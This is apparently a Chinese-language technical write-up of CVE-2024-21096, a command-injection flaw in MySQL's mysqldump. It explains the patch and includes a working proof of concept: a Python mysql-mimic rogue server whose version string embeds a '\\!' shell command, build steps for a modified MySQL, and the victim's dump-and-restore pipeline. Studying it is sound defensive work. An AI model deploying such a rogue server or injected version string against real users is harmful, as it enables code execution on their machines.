CVE-2024-21096是一个中等严重性的漏洞,它影响Oracle MySQL Server产品中的mysqldump组件。成功利用此漏洞的未认证攻击者可能对MySQL Server的数据进行未授权的更新、插入或删除操作,还可以读取MySQL Server可访问数据的一部分,并可能导致MySQL Server部分拒绝服务(partial DOS)。利用该漏洞的攻击需要在MySQL Server的本地进行,因此利用条件有限,利用复杂性也较高,该漏洞主要影响8.0.0版本至8.0.36版本之间的MySQL Server。
mysqldump是MySQL的一个组件,可以用于将 MySQL 数据库的数据和结构导出到一个文本文件中,该文件通常是 SQL 格式。这个文件随后可以被用来备份数据库、迁移数据或在另一个 MySQL 服务器上重建数据库。
比如用mysqldump导出MySQL数据库中的某个数据库,可以在MySQL Server本地用以下命令:
mysqldump -u username -p database_name > dumpfile.sql
其中username是用户名,database_name是待导出的数据库名称,导出之后得到dumpfile.sql文件。
导出后的SQL文件可以使用mysql命令执行导入操作,比如:
mysql -u username -p database_name < /path/to/dumpfile.sql
导出和导入的操作可以理解为将数据库按照SQL语句解析导出为文件,再逐一执行SQL语句文件构建新的数据库。
问题在于,mysqldump在接收MySQL Server的信息时候没有对数据库版本等元信息(meta command)进行净化处理,攻击者可以构造恶意的元信息通过mysqldump导出,并在SQL文件导入的时候执行恶意代码。
这点可以查看2024年2月22日漏洞修复的代码变更情况获知:
在之前的版本(8.0.36)中,可以看到mysqldump在处理MySQL版本信息时只是通过mysql_get_server_info(&mysql_connection)获得版本信息并输出,而漏洞补丁中去除了这段代码,增加了get_safe_server_info函数,该函数中做了两个主要的变更:
另外,在补丁中还可以看到为了测试补丁用到的测试攻击版本信息,即DBUG_EXECUTE_IF部分中的:
8.0.0-injection_test\n\\! touch /tmp/xxx
根据以上的漏洞原理,可知利用点是在MySQL的服务版本信息中,在服务版本信息中注入恶意代码之后,包含服务版本信息的SQL文件被MySQL执行后,便可以执行恶意代码。由于mysqldump和mysql命令联合执行或通过SQL文件执行的概率不高,因此CVE-2024-21096漏洞的CVSS评分不高,仅有4.9分,其中可利用性分数只有1.4分。
但漏洞的利用难点在于MySQL的版本信息是一个只读变量,是无法通过MySQL手动配置进行修改的,唯一的办法是通过源代码编译构建MySQL版本,在源代码中修改MySQL的版本信息,修改/include/mysql_version.h文件中的MYSQL_SERVER_VERSION宏定义,比如:
笔者以8.0.34版本为例,通过手动修改版本信息,并编译MySQL,编译过程如下:
sudo apt-get updatesudo apt-get install build-essential cmake libncurses5-dev bison libssl-dev pkg-config wget https://dev.mysql.com/get/Downloads/MySQL-8.0/mysql-8.0.34.tar.gztar xzvf mysql-8.0.34.tar.gzcd mysql-8.0.34 mkdir buildcd buildcmake .. -DDOWNLOAD_BOOST=1 -DWITH_BOOST=.. makesudo make install
上述命令执行完毕后,MySQL即编译安装完成,接下来是初始化MySQL数据库:
sudo /usr/local/mysql/bin/mysqld --initialize --user=mysql --basedir=/usr/local/mysql --datadir=/usr/local/mysql/data
初始化期间会随机生成MySQL的root账户口令,重置口令之后通过show variables查看服务版本即可发现版本信息是修改后的内容:
假设受害者通过mysqldump连接上面修改版本信息之后的攻击机:
mysqldump -h 192.168.2.217 -urepoog -p mysql
执行上述命令后即可看到版本信息是修改之后的内容:
在执行数据库导出和导入操作之后,版本信息中的命令就会得到执行,比如下面的命令:
mysqldump -h 192.168.2.217 -urepoog -p pwndb | msyql -h 192.168.2.217 -urepoog -p pwndb_imp
当然,除了手动编译MySQL之外,也可以使用高交互的MySQL蜜罐项目进行更简单的配置和修改,比如使用mysql-mimic项目,该项目是用 Python编写的轻量级项目,它旨在模拟MySQL数据库的行为,它可以在不实际运行MySQL数据库的情况下,模拟MySQL的协议和行为,常用来做无MySQL实际环境下MySQL测试。
在蜜罐机上基于mysql-mimic库编写和运行以下代码,该代码中设置了MySQL的服务版本信息:
import loggingimport asynciofrom sqlglot.executor import execute from mysql_mimic import MysqlServer, Sessionfrom mysql_mimic.variables import GlobalVariables SCHEMA = { "test": { "x": { "a": "INT", } }} TABLES = { "test": { "x": [ {"a": 1}, {"a": 2}, {"a": 3}, ] }} class MyVariables(GlobalVariables): def __init__(self): super().__init__() self.set("version", "8.0.0-injection-test\n\\! gnome-calculator", True) class MySession(Session): def __init__(self): super().__init__() self.variables = MyVariables() self._functions["VERSION"] = "8.1.1" async def query(self, expression, sql, attrs): result = execute(expression, schema=SCHEMA, tables=TABLES) return result.rows, result.columns async def schema(self): return SCHEMA async def main(): logging.basicConfig(level=logging.DEBUG) server = MysqlServer(session_factory=MySession) await server.serve_forever() if __name__ == "__main__": asyncio.run(main())
上述程序中设计的服务版本信息是8.0.0-injection-test\n\\! gnome-calculator,蜜罐机的IP地址是172.23.189.209,攻击者(也是受害者)如果通过资产探测扫描到MySQL蜜罐,并通过mysqldump企图做数据库导出和导入,则会出现下图中的效果(弹出计算器)。
这个漏洞的利用条件非常有限,修复方法也非常简单,只需要升级最新版本的MySQL即可。
https://media.defcon.org/DEF%20CON%2032/DEF%20CON%2032%20presentations/DEF%20CON%2032%20-%20Alexander%20Rubin%20Martin%20Rakhmanov%20-%20Atomic%20Honeypot%20A%20MySQL%20Honeypot%20That%20Drops%20Shells.pdf